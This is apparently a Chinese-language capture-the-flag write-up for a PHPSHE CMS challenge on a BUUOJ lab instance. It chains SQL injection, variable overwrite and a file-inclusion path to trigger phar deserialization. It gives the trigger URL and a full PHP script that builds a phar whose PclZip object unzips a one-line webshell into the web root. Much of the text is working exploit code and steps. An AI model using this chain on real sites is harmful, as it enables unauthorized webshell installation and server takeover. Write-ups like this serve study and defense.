首先就是PHPShecms的sql注入。
在基础上。用无列名注入注出密码
然后登陆后台。。看WP。说是在源码中的类文件进行了修改
跟踪下extrac函数的第一个参数。发现这是个PCLZIP解压缩。savepath。应该是压缩文件解压缩的路径
这里我们可以将一句话木马压缩为zip上传。然后通过触发这个解压缩。到指定上传目录。
继续看触发点
在admin.php。首先包含了一个common.php。存在变量覆盖
然后对变量加上前缀。进行处理
第三个选项。在前缀和键值中会加一个下划线
继续看。可以包含任意目录的php文件
利用变量覆盖。包含admin目录下的moban.php
只有它引用了pclzip.class.php
swith。一个act参数。
进入del。
pe_dbhold函数。主要就是addslashes。htmlspecialchars。转义什么的。
进入pe_dirdel函数。带入参数tpl。if_exists。触发phar反序列化。
ok。构造phar。上传phar和zip。然后反序列化触发destrcut解压一句话到上传目录
这里。我们还漏了一个东西。就是del后的第一个函数
需要提交token和referer。找下token在哪生成
最后。触发phar反序列化
http://1ccb4b36-6561-4c5b-8e5b-10103cd8f8e8.node3.buuoj.cn/admin.php?mod=moban&act=del&token=e7e44f204371fcf3072dcd5c4097764e&tpl=phar:///var/www/html/data/attachment/brand/2.txt
pharexp
<?php
class PclZip
{
var $zipname = '';
var $zip_fd = 0;
var $error_code = 1;
var $error_string = '';
var $magic_quotes_status;
var $save_path;
function __construct($p_zipname)
{
$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
return;
}
}
$f=new PclZip("/var/www/html/data/attachment/brand/1.zip");
$f->save_path='/var/www/html/data';
echo serialize($f);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($f);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>